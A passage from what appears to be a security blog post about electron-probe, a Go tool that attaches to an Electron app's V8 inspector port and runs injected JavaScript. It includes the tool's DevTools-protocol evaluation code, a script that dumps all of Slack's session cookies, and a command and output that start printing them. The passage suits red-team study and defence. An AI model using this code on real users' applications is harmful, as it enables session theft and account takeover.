&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; scriptPath &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;String&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;script&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; ""&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Path to JS script to evaluate in the target&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; inspectTarget &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;String&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;inspect-target&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; ""&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;V8 inspector listener&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; flag&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Parse&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;inspectTarget &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;==&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; ""&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; log&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Fatalf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Must specify inspector target&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; *&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;scriptPath &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;==&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; ""&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; log&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Fatalf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Must specify script payload&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; scriptData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; ioutil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;ReadFile&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;scriptPath&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; panic&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;err&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; ctx&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; cancel &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; context&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;WithTimeout&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;context&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Background&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(),&lt;/span&gt;&lt;span style="color:#F4B66A"&gt; 5&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;time&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Second&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; defer&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; cancel&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; devt &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; devtool&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;New&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;inspectTarget&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; pt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; devt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Get&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ctx&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; devtool&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Node&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; panic&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;err&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; conn&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; rpcc&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;DialContext&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ctx&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; pt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;WebSocketDebuggerURL&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; panic&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;err&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; defer&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; conn&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Close&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; c &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; cdp&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;NewClient&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;conn&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; eval &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; runtime&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;NewEvaluateArgs&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;scriptData&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; eval&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;AwaitPromise &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; BoolAddr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;true&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; eval&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ReplMode &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; BoolAddr&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;true&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; reply&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; c&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Runtime&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Evaluate&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;context&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Background&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(),&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; eval&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; err &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt; panic&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;err&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; if&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; reply&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ExceptionDetails &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;!=&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt; nil&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; //&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; Dump the exception details if the script run was unsuccessful&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; log&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Fatalf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;Exception(line %d, col %d): %v\n&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; reply&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ExceptionDetails&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;LineNumber&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; reply&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ExceptionDetails&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ColumnNumber&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; reply&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;ExceptionDetails&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Exception&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; //&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; discarding the error result, failure doesn't matter.&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; //&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; This will just handle cases where string results come&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; //&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; back doubled escaped, causing parsing issues in follow-up&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; //&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; tools like `jq`&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; s&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; _ &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;:=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; strconv&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Unquote&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;string&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;((*&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;reply&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;).&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Result&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;Value&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; fmt&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;Printf&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;%s\n&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;,&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; s&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;For the full code with the example scripts, check out &lt;a href="https://github.com/xpcmdshell/electron-probe" target="_blank" rel="noopener noreferrer"&gt;electron-probe&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="building-something-useful"&gt;Building Something Useful&lt;a class="heading-anchor" href="#building-something-useful" aria-label="Link to Building Something Useful"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Particularly of interest are the &lt;a href="https://www.electronjs.org/docs/api/session" target="_blank" rel="noopener noreferrer"&gt;Session API&lt;/a&gt; and the &lt;a href="https://www.electronjs.org/docs/api/web-contents" target="_blank" rel="noopener noreferrer"&gt;WebContents API&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s get a handle to the Electron runtime, so that we can access all the methods &lt;a href="https://www.electronjs.org/docs/api" target="_blank" rel="noopener noreferrer"&gt;included in its API&lt;/a&gt;:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;electron &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; process&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;mainModule&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;require&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;electron&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;First up, using the Session API we can get access to the cookie storage of the current session(&lt;code&gt;defaultSession&lt;/code&gt;):&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;//&lt;/span&gt;&lt;span style="color:#949494;font-style:italic"&gt; dump_slack_cookies.js&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;electron &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;=&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; process&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;mainModule&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;require&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;electron&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;)&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt;JSON&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;stringify&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#C792EA;font-weight:600"&gt;await&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt; electron&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;session&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;defaultSession&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;cookies&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;.&lt;/span&gt;&lt;span style="color:#82AAFF"&gt;get&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;(&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;{}&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;))&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;You may notice that we used &lt;code&gt;JSON.stringify&lt;/code&gt; on the result. Getting values out of the V8 VM can be finicky, depending on the object type returned. I&amp;rsquo;m resorting to pulling out objects as strings of JSON for easy parsing. For more robust handling of different object types being returned, see &lt;code&gt;Runtime.getProperties&lt;/code&gt; and &lt;code&gt;Runtime.queryObjects&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Running the result, it appears to work:&lt;/p&gt;
&lt;div class="code-panel"&gt;
&lt;div class="code-scroll" tabindex="0" role="region" aria-label="Code listing"&gt;&lt;pre class="shiki"&gt;&lt;code data-lang="shellscript"&gt;&lt;span class="line"&gt;&lt;span style="color:#82AAFF"&gt;$&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; ./electron-probe&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -inspect-target&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; http://localhost:9229&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; -script&lt;/span&gt;&lt;span style="color:#B4D88A"&gt; scripts/dump_slack_cookies.js&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt; |&lt;/span&gt;&lt;span style="color:#82AAFF"&gt; jq&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; [&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;... SNIP&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#DEDEDE"&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class="line"&gt;&lt;span style="color:#B4B4B4"&gt; "&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;name&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;: &lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#B4D88A"&gt;ssb_instance_id&lt;/span&gt;&lt;span style="color:#B4B4B4"&gt;"&lt;/span&gt;&lt;span style="color:#DEDEDE"&gt;,&lt;/span&gt;&lt;/span&gt;
